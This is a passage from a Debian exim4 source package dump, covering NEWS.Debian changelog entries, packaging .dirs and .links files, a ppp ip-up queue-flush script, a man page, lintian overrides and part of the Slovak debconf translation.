don't want update-exim4.conf to barf, set the exim macro UPEX4CmacrosOK_config_adapted to a non-empty value. -- Marc Haber Thu, 28 Jun 2007 08:29:36 +0200 exim4 (4.67-4) unstable; urgency=low Since a lot of users did not read the docs while upgrading and filed bug reports about exim4-config failing to install due to a "malformed macro definition", update-exim4.conf.conf now checks for DEBCONFsomethingDEBCONF strings anywhere in /etc/exim4/exim4.conf.template or recursively /etc/exim4/conf.d and barfs if such strings are found. This check - as a feature - also includes files that would normally be excluded by update-exim4.conf. It _is_ necessary to either accept the offered configuration file change _or_ to manually check a manually changed exim config. Exim will _NOT_ run if a configuration file of an older version is being used with a more recent exim4-config. If you insist on having DEBCONFsomethingDEBCONF strings in your exim configuration and don't want update-exim4.conf to barf, set the exim macro DEBCONFstringOK_config_adapted to a non-empty value. -- Marc Haber Fri, 22 Jun 2007 12:50:38 +0200 exim4 (4.67-2) experimental; urgency=low The symlink /etc/exim4/email-addresses caused data loss for people who had a local file named /etc/exim4/email-addresses. The Debian tools do not handle symlinks in /etc which are contained in packages very well, so we decided to simply remove it. Please submit a tested patch if you think that it would be a more elegant way to handle the transition from /etc/exim4/email-addresses to /etc/email-addresses. There is now a possibility to modify handling of incoming messages to system accounts, identified by their UID (see conf.d/router/250_exim4-config_lowuid). If you want this, set the macro FIRST_USER_ACCOUNT_UID (which defaults to 0) to the UID of your first "real" user account. Incoming messages for an account with an UID below that value get routed according to the extra alias file /etc/exim4/lowuid-aliases. If an account does not have an alias there, it gets routed to the value of the macro DEFAULT_SYSTEM_ACCOUNT_ALIAS, which defaults to ":fail: no mail to system accounts" and gets the message rejected. You can use this mechanism to route all messages for system accounts to a single address, with exceptions. Locally generated messages are not processed by this facility. Generation of the final exim configuration has changed. The configuration no longer has the DEBCONFsomethingDEBCONF placeholders. All data from Debconf are put into exim configuration macros by update-exim4.conf, which are then appropriately picked up by the configuration itself. There should be no visible change to people who have not modified their configuration, but customized configurations need to adapt. We now do basic sanitizing of input read from update-exim4.conf.conf. If your update-exim4.conf complains about non-ascii values, you have found a bug. Please report it. -- Marc Haber Mon, 11 Jun 2007 14:09:24 +0200 exim4 (4.62-7) unstable; urgency=low Bug #392993 says that 4.63-5 and -6 have overwritten manual setting of dc_local_delivery with one of the default versions if you have set dc_local_delivery to a value that is not either mail_spool or maildir_home. Please verify that your dc_local_delivery does still point to the transport you have chosen. Please note that the debconf configuration only supports plain lists. Advanced features like "dsearch;" entered there may work today, but are not guaranteed to continue working in the future. If you want to use such features, please use the macros made available for use in the configuration or edit the configuration itself. This allows us to use semicolons as list delimiters consistently while still being backwards compatible to colon-separated lists without driving code complexity up too high. Starting with this version, update-exim4.conf will print a warning if a dsearch lookup is found in the list of local domains, dc_local_domains since there is a HOWTO on the Internet that recommends doing this kind of things and this will _not_ work any more. -- Marc Haber Sun, 15 Oct 2006 10:00:15 +0000 exim4 (4.62-4) unstable; urgency=low exim4-config has had its debconf templates re-worked. Basic functionality is unchanged, so you shouldn't expect a real difference. The priority of most questions has been lowered to medium, so that the Installer can install exim4 with no questions being asked. The default is local delivery only. Mail messages for root and postmaster are delivered to an mbox file in /var/mail/mail, make sure to read them. You can do the full exim4 configuration by calling dpkg-reconfigure exim4-config as root. It is now finally possible to configure exim4 to deliver outgoing mail to a smarthost on a port number different from 25 via debconf. -- Marc Haber Mon, 9 Oct 2006 14:12:25 +0000 exim4 (4.62-3) unstable; urgency=low A template for SPF support is now provided. It is disabled by default, and relies on external calls to spfquery(1) from the libmail-spf-query-perl package. For details, check README.Debian, and conf.d/acl/30_exim4-config_check_rcpt. -- Robert Millan Fri, 28 Jul 2006 22:43:56 +0200 exim4 (4.62-1) unstable; urgency=low Please note that the handling of update-exim4.conf.conf has changed with regard to dc_local_interfaces and dc_relay_nets: If the strings given there contain a semicolon, the string "<;" is now prepended to the value written to the configuration file to consider ; a list separator. This significantly helps writing down IPv6 addresses, but means that if you use complex things like lookups in update-exim4.conf.conf, you'll have to change your configuration to use the macros that directly interfere with the configuration. 127.0.0.1 and ::1 have been removed from the default hostlist relay_from_hosts - these addresses are now added by update-exim4.conf with the appropriate separator. If you set MAIN_RELAY_NETS manually, you'll need to add these two addresses to your local host list. -- Marc Haber Sat, 29 Apr 2006 22:36:31 +0000 exim4 (4.50-5) unstable; urgency=low mailname, the local name of the system used to qualify senders and recipients is no longer a local domain by default. Having local delivery for that host name used to break satellite and smarthost setups where no local delivery was expected. /etc/exim4/update-exim4.conf.conf is modified automatically on upgrade from the appropriate earlier versions, so if you don't do any funky things with /etc/exim4/update-exim4.conf.conf, you should be fine. -- Marc Haber Sat, 2 Apr 2005 20:31:27 +0200 exim4 (4.43-3) unstable; urgency=low /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses! The last version of exim4 that shipped this file was uploaded on the 19th of May 2003, and I really do not want to start sarge with cruft like that. -- Andreas Metzler Mon, 10 Jan 2004 10:05:34 +0100 exim4 (4.34-1) unstable; urgency=low Debconf will not ask for relay_domains if configuring smarthost or satellite-type systems. - This functionality was untested and could generate mail-loops. -- Andreas Metzler Wed, 12 May 2004 13:42:23 +0200 exim4 (4.30-5) unstable; urgency=low (Re)introduce /etc/exim4/exim4.conf.template as alternative to the multiple small files in /etc/exim4/conf.d/ and make it the default choice for fresh installations. This trades in a loss of comfort (you will again need to merge in each small change manually) for increased stability. -- Andreas Metzler Sun, 11 Jan 2004 13:03:43 +0100 exim4 (4.20-2) unstable; urgency=low Rewriting now uses /etc/email-addresses instead of /etc/exim4/email-addresses like exim v3 did. Please move the contents to the new file and delete the old one, when you have time to spare. -- Andreas Metzler Tue, 15 Jul 2003 10:20:15 +0200 debian/exim4-base.dirs0000644000000000000000000000014212200230010011760 0ustar /usr/sbin /usr/share/man/man8 /etc/cron.daily /etc/logrotate.d /usr/share/doc/exim4-base/examples debian/exim4-daemon-light.dirs0000644000000000000000000000005512027557533013456 0ustar /usr/lib/exim4 /usr/sbin /usr/share/man/man8 debian/exim4-base.examples0000644000000000000000000000023412200230010012637 0ustar b-exim4-daemon-light/util/cramtest.pl b-exim4-daemon-light/util/logargs.sh b-exim4-daemon-light/util/unknownuser.sh debian/exim-gencert debian/exim-adduser debian/exim4-config.exim4.ppp.ip-up0000644000000000000000000000044512027557533014272 0ustar #!/bin/sh if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi [ -x /usr/lib/exim4/exim4 ] || exit 0 [ -f /etc/default/exim4 ] && . /etc/default/exim4 if [ "${QUEUERUNNER}" != "no" ] ; then # Flush exim queue /usr/sbin/exim4 -qqf ${QUEUERUNNEROPTIONS} ${COMMONOPTIONS} fi debian/exim4-daemon-light.links0000644000000000000000000000155512027557533013643 0ustar usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz usr/sbin/exim4 usr/lib/exim4/exim4 usr/sbin/exim4 usr/lib/sendmail usr/sbin/exim4 usr/sbin/exim usr/sbin/exim4 usr/sbin/sendmail usr/sbin/exim4 usr/sbin/runq usr/sbin/exim4 usr/sbin/rmail usr/sbin/exim4 usr/sbin/rsmtp usr/sbin/exim4 usr/bin/mailq usr/sbin/exim4 usr/bin/newaliases usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-light/changelog.gz usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-light/README.Debian.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz debian/exim4-daemon-custom.links0000644000000000000000000000155712027557533014050 0ustar usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz usr/sbin/exim4 usr/lib/exim4/exim4 usr/sbin/exim4 usr/lib/sendmail usr/sbin/exim4 usr/sbin/exim usr/sbin/exim4 usr/sbin/sendmail usr/sbin/exim4 usr/sbin/runq usr/sbin/exim4 usr/sbin/rmail usr/sbin/exim4 usr/sbin/rsmtp usr/sbin/exim4 usr/bin/mailq usr/sbin/exim4 usr/bin/newaliases usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-custom/changelog.gz usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-custom/README.Debian.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz debian/exim4-base.doc-base.filter0000644000000000000000000000044312027557533014021 0ustar Document: exim4-filter-txt Title: Exim's interface to mail filtering Author: Various Abstract: Description of the user interface to Exim's in-built mail filtering facility. This is the text version. Section: Network/Communication Format: text Files: /usr/share/doc/exim4-base/filter.txt.gz debian/exim4-localscan-plugin-config.10000644000000000000000000000305512027557533015006 0ustar .\" Title: EXIM4-LOCALSCAN-PLUGIN-CONFIG .\" Author: .\" Generator: DocBook XSL Stylesheets v1.72.0 .\" Date: 2007-06-08 .\" Manual: .\" Source: exim4 .\" .TH "EXIM4\-LOCALSCAN\-PLUGIN\-CONFIG" "1" "2007\-06\-08" "exim4" "" .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .SH "NAME" exim4\-localscan\-plugin\-config \- get information necessary to build and package exim4 plugins .SH "SYNOPSIS" .HP 13 \fBexim4\-localscan\-plugin\-config\fR \fB\-\-localscan\-abiversion\fR .SH "DESCRIPTION" .PP \fBexim4\-localscan\-plugin\-config\fR is a tool that is used to determine various things needed to build plugins (shared libraries) for the Exim MTA. Currently there is one such plugin API \- the \fBlocal_scan\fR API. In addition to local_scan plugins, this API is also available to shared libraries used with the ${dlfunc ...} expansion item. .SH "OPTIONS" .PP Since \fBexim4\-localscan\-plugin\-config\fR is Debian(TM)\-specific, it currently takes a single mandatory option parameter, \fB\-\-localscan\-apiversion\fR, outputting the API/ABI version (\fIver\fR). Packages containing local_scan plugins should depend on exim4\-localscanapi\-\fIver\fR .SH "SEE ALSO" \fBexim4\fR(8), Chapter 42 of the Exim specification .SH "COPYRIGHT" Copyright \(co 2007 Magnus Holmgren .br .PP This manual page was written by Magnus Holmgren for the Debian(TM) system (but may be used by others). Permission is granted to copy, distribute and/or modify this document without any restrictions whatsoever. .br debian/exim4-daemon-heavy.lintian-overrides0000644000000000000000000000021712200230010016123 0ustar exim4-daemon-heavy: setuid-binary usr/sbin/exim4 4755 root/root exim4-daemon-heavy: package-contains-empty-directory usr/lib/exim4/local_scan/ debian/po/0000755000000000000000000000000013237643207007613 5ustar debian/po/sk.po0000644000000000000000000006064612027557533010606 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # # Peter Mann , 2008. # Ivan Masár , 2009. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2009-04-10 12:48+0100\n" "Last-Translator: Ivan Masár \n" "Language-Team: Slovak \n" "Language: sk\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Odstrániť nedoručené správy z adresára spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "V Exim spool adresári /var/spool/exim4/input sa nachádzajú doposiaľ " "nedoručené správy. Odstránenie Exim-u spôsobí ich nedoručenie, až kým sa " "Exim nepreinštaluje." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Ak sa nezvolí táto možnosť, tak sa spool adresár ponechá a pošty vo fronte " "sa môžu doručiť neskôr po preinštalovaní Exim-u." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Zmena nastavenia exim4-config namiesto tohto balíka" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 má na nastavenia určený balík exim4-config. Ak chcete zmeniť " "nastavenia Exim4, použite „dpkg-reconfigure exim4-config“." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internetová lokalita; pošta sa prijíma a doručuje priamo pomocou SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "zasielanie pošty cez smarthost; príjem cez SMTP alebo fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "zasielanie pošty cez smarthost; žiadna lokálna pošta" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "iba lokálna pošta; počítač nie je na sieti" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "teraz nič nenastavovať" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Základný model nastavenia pošty:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Zvoľte si typ nastavenia poštového servera, ktorý najviac vyhovuje vašim " "požiadavkám." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Počítače s dynamickými IP adresami, vrátane dialup pripojenia, by mali byť " "nastavené tak, že všetky odchádzajúce pošty posielajú na doručenie inému " "počítaču, nazývanému „smarthost“. Je to kvôli tomu, že mnoho poštových " "serverov na internete používa blokovanie pošty prichádzajúcej z dynamických " "IP adries ako ochranu proti nevyžiadanej pošte." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Systém s dynamickou IP adresou môže prijímať vlastnú poštu, prípadne sa " "lokálne doručovanie úplne zakáže (okrem pošty pre root-a a postmaster-a)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Naozaj ponechať poštový systém nenastavený?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Kým nenastavíte svoj poštový systém, nebude funkčný a nedá sa používať. " "Nastavenie môžete samozrejme vykonať neskôr manuálne alebo pomocou príkazu " "„dpkg-reconfigure exim4-config“ ako používateľ root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Poštový názov počítača:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "„Poštový názov počítača“ je doménový názov, ktorý sa použije na „doplnenie“ " "poštových adries bez doménového názvu." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Tento názov budú využívať aj iné programy. Mal by to byť jednoznačný plne " "kvalifikovaný doménový názov (FQDN - Fully Qualified Domain Name)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Ak je napríklad vaša poštová adresa nieco@domena.sk, tak správna hodnota " "tohto nastavenia by mala byť domena.sk." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ak povolíte prepisovanie hlavičiek, tak sa tento názov neobjaví v " "odchádzajúcej pošte v riadkoch From:." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Ďalšie cieľové adresy, pre ktoré sa prijíma pošta:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Zadajte bodkočiarkami oddelený zoznam domén, pre ktoré sa tento počítač " "považuje za cieľový server. Tieto domény sa zvyknú nazývať „lokálne domény“. " "Lokálny názov počítača (${fqdn}) a „localhost“ sa vždy pridajú k tomuto " "zoznamu." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Štandardne sa so všetkými lokálnymi doménami zaobchádza rovnako. Ak sú napr. " "obidve domény domena1.sk a domena2.sk lokálne, tak sa pošty pre abc@domena1." "sk a abc@domena2.sk doručia do tej istej schránky. Ak požadujete iné " "spracovanie pre rôzne domény, budete potom musieť manuálne upraviť " "konfiguračné súbory." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domény, pre ktoré sa prenáša pošta (relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Zadajte bodkočiarkami oddelený zoznam domén, pre ktoré tento systém prenáša " "poštu (relay), napr. keď je to sekundárny MX server alebo poštová brána. To " "znamená, že tento systém prijme pošty pre tieto domény z ľubovoľného miesta " "na internete a doručí ich podľa pravidiel lokálneho doručenia." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Neuvádzajte tu lokálne domény. Môžete použiť aj náhradné znaky." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Počítače, ktorým sa prenáša pošta (relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Zadajte bodkočiarkami oddelený zoznam rozsahov IP adries, pre ktoré bude " "tento systém neobmedzene prenášať poštu (relay), teda bude pre nich tzv. " "smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Mali by ste použiť štandardný formát adresa/dĺžka (napr. 194.222.242.0/24 " "alebo 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Ak sa tento systém nemá používať ako tzv. smarthost pre iné počítače, " "nechajte tento zoznam prázdny." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Viditeľný názov domény pre lokálnych používateľov:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Bola nastavená voľba na skrytie lokálneho poštového názvu v odchádzajúcich " "poštách. Je teda potrebné uviesť doménové meno, ktoré by mal tento systém " "používať ako doménovú časť poštovej adresy odosielateľa lokálnych " "používateľov." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP adresa alebo názov tzv. smarthost odchádzajúceho počítača:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Zadajte IP adresu alebo názov poštového servera, ktorý sa použije týmto " "systémom ako tzv. smarthost odchádzajúci počítač. Ak smarthost prijíma vašu " "poštu iba na porte inom ako TCP/25, pridajte dve dvojbodky a číslo portu " "(napr. smarthost.domena.sk::587 alebo 192.168.254.254::2525). Dvojbodky v " "IPv6 adresách musíte zdvojiť." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Ak tzv. smarthost odchádzajúci počítač potrebuje autentifikáciu, pozrite si " "špecifické Debian README súbory v /usr/share/doc/exim4-base, kde nájdete " "poznámky o nastavení SMTP autentifikácie." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Príjemca pošty pre používateľov root a postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Pošta pre používateľov „postmaster“, „root“ a ďalších systémových " "používateľov sa musí presmerovať na používateľské konto súčasného správcu " "systému." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Ak sa táto hodnota nevyplní, takéto pošty sa uložia do /var/mail/mail, ale " "neodporúča sa to." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Pošta pre postmaster-a by sa mala čítať radšej na systéme, pre ktorý bola " "určená ako byť presmerovaná inde, takže uvedení používatelia (aspoň jeden z " "nich), by nemali presmerovávať svoju poštu mimo tohto počítača. Použite pred " "menom „real-“, ak si chcete vynútiť lokálne doručenie." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Viacero používateľských mien treba oddeliť medzerami." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP adresy na príjem prichádzajúcich SMTP spojení:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Zadajte bodkočiarkami oddelený zoznam IP adries. Na všetkých uvedených IP " "adresách bude Exim SMTP čakať na prichádzajúce spojenia." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ak necháte toto pole prázdne, Exim bude čakať na spojenie na všetkých " "dostupných sieťových rozhraniach." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ak tento počítač prijíma poštu cez lokálne služby (a nie z iných počítačov), " "odporúča sa zakázať externé pripojenia na lokálny Exim. Medzi takéto lokálne " "služby patria lokálne poštové programy (MUA), ktoré používajú na pripojenie " "localhost, podobne ako napr. fetchmail. Ak sa tu použije 127.0.0.1, tak sa " "vlastne zakážu externé pripojenia a tým aj čakanie na pripojenia na " "verejných sieťových rozhraniach." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Minimalizovať počet DNS požiadaviek (Vytáčanie-na-požiadanie)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Exim vykonáva v normálnom režime DNS požiadavky pri štarte, prijímaní alebo " "odosielaní pošty. Je to kvôli zaznamenávaniu presných záznamov o jeho " "činnosti a dovoľuje minimalizovať počet nemenných hodnôt v konfiguračnom " "súbore." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ak tento počítač nemá trvalý prístup k DNS serverom a používa vytáčané " "(dialup) pripojenie na požiadanie, môže to mať nežiadúce následky. Spustenie " "Exim-u alebo kontrola frontu pošty (aj keď v nej nie sú žiadne správy) môžu " "spustiť pripojenie, čo vás môže stáť peniaze." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Táto možnosť by mala byť zvolená, ak tento systém používa vytáčané " "pripojenie na požiadanie (dial-on-demand). Ak má tento počítač permenentné " "pripojenie k internetu, túto voľbu treba zamietnuť." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Nastavenie poštového servera" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Rozdeliť nastavenie do menších súborov?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian balíky exim4 môžu na vytvorenie výslednej konfigurácie použiť buď " "„nerozdelenú konfiguráciu“ - jeden veľký súbor (/etc/exim4/exim4.conf." "template) alebo „rozdelenú konfiguráciu“, kde sa aktuálne nastavenie Exim-u " "vytvorí zo zhruba 50 malých súborov v adresári /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Nerozdelená konfigurácia je vhodnejšia na rozsiahle úpravy a všeobecne je o " "niečo stabilnejšia. Rozdelená konfigurácia ponúka pohodlný spôsob na malé " "zmeny, ale je náchylnejšia na chyby a môže poškodiť nastavenie pri " "neopatrných zmenách." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Podrobnejší popis rozdelenej a nerozdelenej konfigurácie nájdete v README " "súboroch v /usr/share/doc/exim4-base špecifických pre Debian." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skryť lokálny názov poštového servera v odchádzajúcej pošte?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Hlavičky odchádzajúcej pošty sa môžu prepisovať, aby sa navonok javili ako " "odoslané z iného systému. Ak sa zvolí táto možnosť, prepíšu sa " "„${mailname}“, „localhost“ a „${dc_other_hostnames}“ v poliach From, Reply-" "To, Sender a Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox formát v adresári /var/mail/" #. Type: select #. Choices #: 